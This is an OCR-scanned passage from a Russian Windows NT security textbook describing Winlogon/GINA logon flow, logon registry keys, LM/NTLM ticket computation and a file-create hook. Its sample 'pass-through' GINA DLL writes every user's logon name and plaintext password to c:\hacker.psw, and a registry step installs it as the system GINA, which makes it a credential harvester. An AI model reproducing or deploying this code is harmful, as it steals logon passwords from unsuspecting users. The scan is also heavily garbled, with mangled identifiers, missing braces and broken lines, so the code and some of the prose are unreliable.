  • WLX_SAS_ACTION_NONE - пользователь не смог войти в систему. Состояние системы не изменяется;

  • WLX_SAS_ACTION_SHUTDOWN - пользователь потребовал завершить работу системы. Эта возможность может быть отключена (см. выше). Получив данное возвращаемое значение, Winlogon последовательно вызывает функции библиотеки GINA WlxLogojfn WlxShutdown.

  • Если пользователь нажал комбинацию Ctrl-Alt-Del, уже войдя в систему, Winlogon вызывает функцию WlxLoggedOnSas. GINA выводит на экран диалоговое окно и, в зависимости от решения пользователя, выполняет следующие действия:
  • если пользователь решил не предпринимать никаких действий, GINA возвращает в Winlogon значение WLX_SAS_ACTION_NONE. Winlogon возвращает систему в то же состояние, в котором она была до нажатия комбинации Ctrl-Alt-Del;

  • если пользователь желает просмотреть список активных процессов, GINA возвращает значение WLX_SAS_ACTION_TASKLIST. Winlogon возвращает систему в состояние) в котором она была до нажатия комбинации Ctrl-Alt-Del и активизирует процесс Task Manager,

  • если пользователь желает заблокировать рабочую станцию, GINA возвращает значение WLX_SAS_ACTION_LOCK_WKSTA. Winlogon блокирует систему;

  • если пользователь желает выйти из системы, GINA возвращает значение WLX_SAS_ACTION_LOGOFF.
    Winlogon в ответ вызывает функцию GINA WlxLogoff;


  • если пользователь желает завершить работу с компьютером, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN, Winlogon последовательно вызывает функции GINA WlxLogoff к WlxShutdown.;


  • если пользователь желает перезагрузить компьютер, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_REBOOT. Winlogon последовательно вызывает функции GINA WlxLogoff и WlxShutdown. По окончании выгрузки системы компьютер автоматически перезагружается;


  • если пользователь желает, закончить работу с компьютером и выключить его, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_ REBOOT_ POWER_OFF. Winlogon последовательно вызывает функции GINA WlxLogoff n WlxShutdown. По окончании выгрузки системы компьютер автоматически выключается. Если аппаратная часть компьютера не допускает программного отключения питания, данное возвращаемое значение имеет тот же эффект, что и WLX_SAS_ACTION_ SHUTDOWN;


  • если пользователь желает изменить свой пароль, GINA выводит на экран соответствующее диалоговое окно, по окончании ввода пользователем нового пароля вызывает функцию WlxChangePasswordNotify и затем возвращает в Winlogon

    значение WLX_SAS_ACTION_PWD_ CHANGED.


  • Когда рабочая станция заблокирована, а пользователь нажал комбинацию Ctrl-Alt-

    Del, Winlogon вызывает функцию GINA WlxWkstaLockedSas. GINA запрашивает у

    f пользователя параметры идентификации и проверяет их. В зависимости от результата

    проверки GINA возвращает одно из следующих значений:

  • WLX_UNLOCK_WKSTA - разблокировать рабочую станцию;


  • WLX_FORCE_LOGOFF - принудительный выход из системы с последующим входом в систему администратора;


  • WLX_NO_ACTION - рабочая станция остается заблокированной.


  • Если пользователь вошел в систему и один из процессов вызывает системную функцию ExitWindowsEx, Winlogon в зависимости от параметров ExitWindowsEx вызывает либо WlxLogoff, либо последовательно WlxLogoff и WlxShutdown. При этом, соответственно, либо пользователь выходит из системы, либо система завершает работу.

    Если GINA получает от пользователя нестандартную SAS, она вызывает функцию Winlogon WlxSasNotify, после чего Winlogon вызывает одну из вышеперечисленных функций GINA, в зависимости от контекста, в котором была получена SAS.

    Для изучения процесса идентификации и аутентификации можно использовать приводимый ниже модуль (DLL), который является «переходником» между WinLogon и стандартной MSGINA. Прототипы экспортируемых MSGINA.DLL описаны в файле winwlx.h стандартной поставки MS SDK.

    #include

    #include

    finclude

    finclude "winwlx.h"

    tinclude

    #include

    tinclude

    tfinclude

    #include "xgina,h"

    int glob_lock;

    HINSTANCE hMSGinaDLL

    HINSTANCE hDllInstance;

    HANDLE hGlobalWlxPWLX_DISPATCH_VERSION_l_0 pWlxFuncs

    typedef BOOL ( WINAPI *WLXNEGOTIATE )( DWORD, DWORD* );

    typedef BOOL ( WINAPI *WLXINITIALIZE )( LPWSTR, HANDLE, PVOID,

    PVOID, PVOID ) ;

    typedef VOID ( WINAPI *WLXDISPLAYSASNOTICE )( PVOID );

    typedef int ( WINAPI *WLXLOGGEDOUTSAS )( PVOID, DWORD, PLUID,

    PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID* );

    typedef BOOL ( WINAPI *WLXACTIVATEUSERSHELL ) ( PVOID, PWSTR,

    PWSTR, PVOID );

    typedef int ( WINAPI *WLXLOGGEDONSAS )( PVOID, DWORD, PVOID );

    typedef BOOL ( WINAPI *WLXISLOCKOK )(PVOID );

    typedef VOID ( WINAPI *WLXDISPLAYLOCKEDNOTICE ) ( PVOID );

    typedef int ( WINAPI *WLXWKSTALOCKEDSAS )( PVOID, DWORD );

    typedef BOOL ( WINAPI *WLXISLOGOFFOK) ( PVOID );

    typedef VOID ( WINAPI *WLXLOGOFF) ( PVOID );

    typedef VOID ( WINAPI *WLXSHUTDOWN )( PVOID, DWORD );

    WLXNEGOTIATE g^lpWlxNegotiate = NULL; WLXINITIALIZE g_lpWlxInitialize = NULL; WLXDISPLAYSASNOTICE g_lpWlxDisplaySASNotice = NULL; WLXLOGGEDOUTSAS g_lpWlxLoggedOutSAS = NULL; WLXACTIVATEUSERSHELL g_lpWlxActivateUserShell = NULL; WLXLOGGEDONSAS g_lpWlxLoggedOnSAS = NULL; WLXISLOCKOK g_lpWlx!sLockOk = NULL; WLXDISPLAYLOCKEDNOTICE g_lpWlxDisplayLockedNotice = NULL;

    WLXWKSTALOCKEDSAS g_lpWlxWkstaLockedSAS = NULL; WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL; WLXLOGOFF g_lpWlxLogoff = NULL; WLXSHUTDOWN g_lpWlxShutdown = NULL; BOOL InitMSGinaDll()

    I hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL") );

    I if (hMSGinaDLL == NULL)

    I {

    return FALSE;

    ' }

    MessageBox(NULL,_T(" Load Original Library MSGINA"),_T("GinaDebug"),MB_OK);

    g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress( , hMSGinaDLL, "WlxNegotiate" ); . g_lpWlx!nitialize = ( WLXINITIALIZE )GetProcAddress(

    hMSGinaDLL, "Wlxlnitialize" ); k g_lpWlxDisplaySASNotice = (WLXDISPLAYSASNOTICE )GetProcAddress(

    hMSGinaDLL, "WlxDisplaySASNotice" ) ;

    g_lpWlxLoggedOutSAS = ( WLXLOGGEDOUTSAS )GetProcAddress (

    hMSGinaDLL, "WlxLoggedOutSAS" );

    g_lpWlxActivateUserShell = (WLXACTIVATEUSERSHELL )GetProcAddress(

    hMSGinaDLL, "WlxActivateUserShell" ); i g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(

    hMSGinaDLL, "WlxLoggedOnSAS" ); ; g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(

    hMSGinaDLL, "WlxIsLockOk" ); ' g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE )GetProcAddress(

    hMSGinaDLL, "WlxDisplayLockedNotice" );

    g_lpWlxWkstaLockedSAS = ( WLXWKSTALOCKEDSAS )GetProcAddress (

    hMSGinaDLL, "WlxWkstaLockedSAS" );

    g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress (

    hMSGinaDLL, "WlxIsLogoffOk" );

    g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(

    hMSGinaDLL, "WlxLogoff" );

    g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(

    hMSGinaDLL, "WlxShutdown" );

    if (!g_lpWlxNegotiate)

    {

    return FALSE;

    if (!g_lpWlx!nitialize)

    {

    return FALSE;

    }

    if (!g_lpWlxDisplaySASNotice)

    {

    return FALSE;

    }

    if (!g_lpWlxLoggedOutSAS)

    {

    return FALSE;

    }

    if (!g_lpWlxActivateUserShell)

    {

    return FALSE;

    }

    if (!g_lpWlxLoggedOnSAS)

    {

    return FALSE;

    }

    if (IgJLpWlxIsLockOk)

    {

    return FALSE;

    }

    if (!g_lpWlxDisplayLockedNotice)

    {

    return FALSE;

    }

    if (!g_lpWlxWkstaLockedSAS)

    {

    return FALSE;

    }

    if (!g_lpWlxIsLogoffOk)

    {

    return FALSE;

    }

    if (!g_lpWlxLogoff)

    {

    return FALSE;

    }

    if (!g_lpWlxShutdown)

    return FALSE;

    MessageBox(NULL,_T("All Function Attach Succesfully") ,_T("GinaDebug"),MB_OK);

    return TRUE; } '

    BOOL WINAPI DllMain( HINSTANCE hlnstance, DWORD dwReason, LPVOID IpReserved) switch( dwReason )

    case DLL_PROCESS_ATTACH: I DisableThreadLibraryCalls( hlnstance );

    | hDHInstance = hlnstance;

    f.

    i.

    \ if (UnitMSGinaDllO ) I return FALSE;

    break;

    case DLL_PROCESS_DETACH: FreeLibrary(hMSGinaDLL); break/default: break;

    return TRUE; }

    BOOL WINAPI WlxNegotiate (DWORD dwWinlogonVersion, PDWORD pdwDHVersion) { BOOL res = FALSE;

    MessageBox(NULL,_T("WlxNegotiate"),_T("GinaDebug"),MB_OK)

    res = g_lpWlxNegotiate(dwWinlogonVersion, pdwDHVersion);

    *

    return res;

    BOOL WINAPI Wlxlnitialize( LPWSTR IpWinsta, HANDLE hWlx, PVOID pvReserved, PVOID pWinlogonFunctions, PVOID* pWlxContext )

    BOOL res = FALSE;

    MessageBox(NULL,_T("Wlxinitiali ze"),_T("GinaDebug"),MB_OK);

    pWlxFuncs = (PWLX_DISPATCH_VERSION_1_0 )pWinlogonFunctions;

    res = g_lpWlx!nitialize(IpWinsta, hWlx, pvReserved, pWinlogonFunctions, pWlxContext);

    return res;

    VOID WINAPI WlxDisplaySASNotice(PVOID pContext) MessageBox(NULL,_T("WlxDisplaySASNotice"),_T("GinaDebug"),MB_OK); g IpWlxDisplaySASNotice(pContext);

    int WINAPI WlxLoggedOutSAS(

    PVOID pWlxContext, // Context associated with this window station.

    DWORD dwSasType, // Indicates the type of SAS that occurred

    FLUID pAuthenticationld,// ID associated with current logon session.

    PSID pLogonSid, // SID is unique to the current logon session.

    PDWORD pdwOptions, // Options: load profile, etc.

    PHANDLE phToken, // Token

    PWLX_MPR_NOTIFY_INFO pMprNotifylnfo,

    // Password information to other network providers

    PVOID* pProfile ) // Point to one of the WLX_PROFILE_xxx structures. {

    int res,i;

    FILE *out;

    UCHAR current_name [32] , current_pass [32] ;

    UCHAR pro[2]={0x20,0};

    UCHAR end[3]={OxD,OxA, 0};

    MessageBox (NULL, _T ("WlxLoggedOutSAS") ,_T ("GinaDebug") ,MB_OK) res = g_lpWlxLoggedOutSAS (

    pWlxContext, dwSasType, pAuthenticationld,

    pLogonSid, pdwOptions, phToken, pMprNotifylnfo,

    pProf ile ) ;

    if (res == WLXSASACTIONLOGON)

    for (i=0; i<32; i++) current_name [i] =0;

    for (i=0;i<32;i++)

    {

    if (pMprNotify!nfo->pszUserName [i] ==0) break;

    else current_name [i]=pMprNotify!nfo->pszUserName [i] ;

    for (i=0; i<32; i++) current_pass [i] =0;

    for (i=0;i<32;i++)

    {

    if (pMprNotif yinf o->pszPassword [i] ==0) break;

    else current_pass [i]=pMprNotify!nfo->pszPassword[i] ;

    out=fopen ("c: \\hacker.psw", "r+b") ; if (out!=NULL) {

    f seek ( out, 0,SEEK_END) ; fwrite (current_name, sizeof (char) , strlen (current_name) , out) ;

    fwrite (pro, sizeof (char) , lf out) ; fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;

    fwrite (end, sizeof (char) , 2, out) ; f close (out) ;

    return res;

    BOOL WINAPI WlxActivateUserShell ( PVOID pWlxContext, PWSTR pszDesktop, PWSTR pszMprLogonScript, PVOID pEnvironment ) {

    BOOL res = FALSE; MessageBox (NULL, _T ( "WlxActivateUserShell" ) , _T ( "GinaDebug" ) , MB_OK) ;

    res = g_lpWlxActivateUserShell ( pWlxContext, pszDesktop/ pszMprLogonScript, pEnvironment ) ;

    return ( res ) ;

    int WINAPI WlxLoggedOnSAS (

    PVOID pWlxContext,

    DWORD dwSasType,

    PVOID pReserved ) {

    int res;

    MessageBox (NULL, _T( "WlxLoggedOnSAS") ,_T ("GinaDebug") ,MB_OK) ;

    if (glob_lock==0)

    res = g_lpWlxLoggedOnSAS (pWlxContext, dwSasType, pReserved);

    if (res==WLX_SAS_ACTION_LOCK_WKSTA) glob_lock=l;

    return res;

    BOOL WINAPI WlxIsLockOk (PVOID pWlxContext) {

    BOOL res;

    MessageBox (NULL, _T( "WlxIsLockOk") ,_T ("GinaDebug") ,MB_OK) ;

    res = g_lpWlxIsLockOk (pWlxContext) ;

    return res;

    )ID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)

    essageBox(NULL,_T("WlxDisplayLockedNotice"),_T("GinaDebug"),MB_OK); g_lpWlxDisplayLockedNotice(pWlxContext);

    it WINAPI WlxWkstaLockedSAS( PVOID pWlxContext, DWORD dwSasType

    Lnt res;

    glob_lock=0;

    lessageBox(NULL,_T("WlxWkstaLockedSAS"),_T("GinaDebug"),MB_OK);

    res = g_lpWlxWkstaLockedSAS(pWlxContext, dwSasType); return WLX_SAS_ACTION_UNLOCK_WKSTA;

    DOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )

    BOOL res;

    MessageBox(NULL,_T("WlxIsLogoffOk"),_T("GinaDebug"),MB_OK);

    res = g_lpWlxIsLogoffOk(pWlxContext) ;

    return res;

    DID WINAPI WlxLogoff ( PVOID pWlxContext )

    MessageBox(NULL,_T("WlxLogoff"') ,_T ("GinaDebug") ,MB_OK) ; g IpWlxLogoff(pWlxContext);

    OID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType

    MessageBox(NULL,_T("WlxShutdown"),_T("GinaDebug"),MB_OK); g IpWlxShutdown(pWlxContext, ShutdownType);

    Файл экспорта

    LIBRARY XGINA

    DESCRIPTION 'Windows NT Logon GUI'

    EXPORTS

    WlxNegotiate

    Wlxlnitialize

    WlxDisplaySASNotice

    WlxLoggedOutSAS

    WlxActivateUserShell

    WlxLoggedOnSAS

    WlxDisplayLockedNotice

    WlxWkstaLockedSAS

    WlxIsLockOk

    WlxIsLogoffOk

    WlxLogoff

    WlxShutdown

    Файл xgina.h

    #ifndef GINA_GINA_H

    # _ tdefine GINA_GINA_H_

    extern HINSTANCE hDllInstance;

    extern HANDLE hGlobalWlx;

    extern PWLX_DISPATCH_VERSION_1_0 pWlxFuncs;

    typedef struct Globals

    BOOL

    BOOL

    HANDLE

    PWSTR

    PWSTR

    PWSTR

    SYSTEMTIME timeOfLogin; } Globals, *PGlobals; #endif // GINA GINA H

    fAutoLogonAtBoot;

    fAutoLogonAlways;

    hUserToken;

    pszUsername;

    pszDomain;

    pszPassword;

    Для активизации модуля xgina.dll необходимо создать ключ реестра (например, при помощи Regini с использованием следующего ini файла):

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

    GinaDll = c:\xgina.dll

    Вместо c:\xgina.dll необходимо указать реальный путь, либо поместить библиотеку по заданному пути.

    Процесс ИА регулируется следующими ключами реестра \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.

    Название

    Значение

    Значение по умолчанию

    AutoAdminLogon

    0/1

    0

    Определяет необходимость автоматического входа в систему с именем DefaultUserName и паролем DefaultPassword

    DefaultDomain- Name

    имя домена

    NEWDOMAIN

    Определяет имя домена, для которого был произведен последний успешный вход в систему

    DefaultPassword

    пароль

    нет

    Определяет пароль для пользователя, указанного в DefaultUserName и используется при входе в систему по умолчанию

    DefaultUserName

    имя пользователя

    имя последнего успешно вошедшего в систему пользователя

    Если определены значения AutoAdminLogon и Default-Password, то это имя используется для входа в систему по умолчанию

    DontDisplayLast- UserName

    0/1

    0

    LegalNoticeCap- tion

    строка заго- ловка

    нет

    Определяет заголовок специального сообщения пользователю

    LegalNoticeText

    строка текста сообщения

    нет

    Определяет текст специального сообщения пользователю

    ParseAutoexec

    0/1

    1

    При установленном в 1 значении содержимое фай- ла AUTOEXEC.BAT анализируется при входе в Win- dows NT

    PowerdownAfter- Shutdown

    0/1

    0 для Windows NT Server, 1 для Windows NT Worksta- tion

    Если этот ключ установлен в 1, пользователь может выби- рать действия Shutdown и PowerOff из меню ShutDown и Logoff. Иначе кнопка Power Off не появляется

    Shutdown With- outLogon

    0/1

    0 для Windows NT Server, 1 для Windows NT Worksta- tion

    Если это значение установ- лено в 1, пользователь может выбирать Shutdown без Pow- erOff из диалогового окна Welcome. Иначе, ShutDown без Power Off не появляется

    ReportBootOk

    0/1

    1

    Если это значение установ лено в 0, то отключается автоматическое принятие за- пуска (по умолчанию), которое производится после пер- вого успешного входа в систему. Это значение должно быть равно 0, если используются альтернативные назначения в ключах BootVeri- fication или BootVerifica- tionProgram

    Shell

    Имена испол- няемых при- ложений

    taskman, prog- man, wowexec

    Определяет исполняемые программы, которые должны быть выполнены как оболочки пользователя

    System

    Исполняемые имена

    lsass.exe, spollss.exe

    Определяет имена программ, которые должен выполнить процесс WinLogon в контек- сте системы

    Taskman

    Исполняемые имена

    нет

    Позволяет определить имена программ, решающих раз- личные административные задачи

    Userlnit

    Исполняемые имена

    userini, nddeagntexe

    определяет исполняемые программы, которые должен выполнить процесс WinLogon при входе пользователя в систему

    <



    Временная диаграмма процессов аутентификации

    Рисунок . 32. Временная диаграмма процессов аутентификации

    Временная диаграмма процессов аутентификации

    Когда пользователь еще не вошел в систему, Winlogon находится в состоянии 1, пользователю предлагается идентифицировать себя и предоставить подтверждающую информацию (в стандартной конфигурации - пароль). Если информация, введенная пользователем, дает ему право входа в систему, активизируется оболочка системы (как правило, Program Manager) и Winlogon переключается в состояние 2.

    Хотя в состоянии 1 ни один пользователь не может непосредственно взаимодействовать с системой, в случае, если на рабочей станции запущен Server Service, пользователи могут обращаться к ресурсам системы через сеть.

    Когда пользователь вошел в систему, Winlogon находится в состоянии 2. В этом состоянии пользователь может прекратить работу, выйдя из системы, или заблокировать рабочую станцию. В первом случае завершает все процессы, связанные с завершающимся сеансом, и переключается в состояние 1 . Во втором случае Winlogon выводит на экран сообщение о том, что рабочая станция заблокирована и переключается в состояние 3.

    В состоянии 3 Winlogon выводит на экран приглашение пользователю идентифицировать себя и разблокировать рабочую станцию. Это может сделать либо заблокировавший ее пользователь, либо администратор. В первом случае система возвращается в то состояние, в котором находилась непосредственно перед блокировкой, и переключается в состояние 2. Во втором случае все процессы, связанные с текущим сеансом, завершаются, и Winlogon переключается в состояние 1 .

    Когда рабочая станция заблокирована, фоновые процессы, запущенные пользователем до блокировки, продолжают выполняться



    Сетевая аутентификация пользователя в Windows NT

    Сетевая аутентификация пользователя в Windows NT

    Сетевая аутентификация пользователя осуществляется в процессе его подключения к серверу с целью получения доступа к сетевым ресурсам (например, к сетевому диску). Сетевая аутентификация осуществляется только в случае успешного завершения процедуры локальной аутентификации пользователя.

    Обозначим через:
  • SessionKey - массив из 8 байт - разовый ключ, получаемый рабочей станцией от сервера;

  • Ticket[0..47] - массив из 48 байт - билет-аутентификатор, направляемый рабочей станцией на сервер в качестве запроса о разрешении доступа к сетевым ресурсам.

  • Процедура сетевой аутентификации пользователя состоит из следующих шагов:

    Шаг 1. Рабочая станция получает от сервера разовый ключ SessionKey.

    Шаг 2. Разовый ключ и PasswordDES преобразуются с использованием алгоритма DES:
    Ticket [0. .7] := DES (SessioriKey, PasswordDES[0..6]);

    Ticket [8... 15] := DES (SessionKey, PasswordDES [7 .. 13] );

    Ticket[16..23]:=DES(SessionKey, (PasswordDES[14], PasswordDES[15],0,0,0,0,0));
    Шаг З. Разовый ключ и PasswordMD4 преобразуются с использованием алгоритма DES:
    Ticket [24. .31]-:- DES (SessionKey, PasswordMD4[0..6]);

    Ticket[32..39]:= DES(SessionKey, PasswordMD4[7..13]);

    Ticket[40..47] : = DES(SessionKey,

    (PasswordMD4[14], PasswordMD4[15],0,0,0,0,0));
    Шаг 4. Ticket передается в SMB-пакете на сервер. Сервер проверяет данные и в случае успешной проверки передает рабочей станции сообщение об успешном завершении процедуры аутентификации.




    Собственный обработчик создания файла и собственный обработчик открытия файла

    Собственный обработчик создания файла и собственный обработчик открытия файла

    Собственный обработчик создания (открытия) файла может, например, проверить права доступа текущего процесса к создаваемому (открываемому) файлу, и если дос-

    туп запрещен, то вернуть статус создания (открытия) файла STATUS_ACCESS_DENIED (доступ запрещен), иначе вернуть управление оригинальному обработчику. При этом можно вести журнал как удавшихся, так и не удавшихся попыток доступа, регистрируя имя процесса, в контексте которого осуществляется попытка доступа к ресурсу, и имя создаваемого (открываемого) файла. После исполнения собственного обработчика необходимо передать управление по старому адресу, чтобы дать возможность стандартному обработчику выполнить запрошенные действия.
    NTSTATUS HookCreateFile (OUT PHANDLE FileHandle,

    IN ACCESS_MASK DesiredAccess,

    IN POBJECT_ATTRIBUTES ObjectAttributes,

    OUT PIO_STATUS_BLOCK loStatusBlock,

    IN PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes,

    IN ULONG ShareAccess, IN ULONG CreateDisposition,

    IN ULONG CreateOptions,IN PVOID EaBuffer,IN ULONG EaLength)

    {

    if (Access (ObjectAttributes) ) return RealCreateFile (FileHandle, DesiredAccess/ ObjectAttributes,

    loStatusBlock, AllocationSize, FileAttributes, ShareAccess,

    CreateDisposition, CreateOptions,EaBuf fer, EaLength) ; return STATUSACCESSDENIED;



    Вывод сообщений на «синий» экран

    Вывод сообщений на «синий» экран

    Если флаг Start в реестре у драйвера установлен в SERVICE_BOOT_ START(0) или SERVICE_SYSTEM_START(1), то можно использовать функцию вывода на «синий» экран -ZwDisplayString для вывода информации о действиях драйвера во время инициализации.

    Например:
    UNICODE_STRING 'bootMessagpUnicodeString;

    WCHAR bootMessage [] = L"\nMessage on blue screen. \n\n";

    CTL CODE( FILE DEVICE TDRV, 0x01,

    CTL CODE( FILE DEVICE TDRV, 0x02,

    RtlInitUnicodeString( sbootMessageUnicodeString, bootMessage ); ZwDisplayString( SbootMessageUnicodeString );
    Например, во время инициализации драйвер может произвести процедуру тестирования (контрольный пример) криптографических функций, либо иных функций, имеющих отношение к безопасности, и вывести результат тестирования на «синий» экран. Кроме того, в ряде случаев можно инициировать ввод ключевой информации для драйверов шифрования, описанных выше.



    

        Работа с информацией: Безопасность - Защита - Софт - Криптография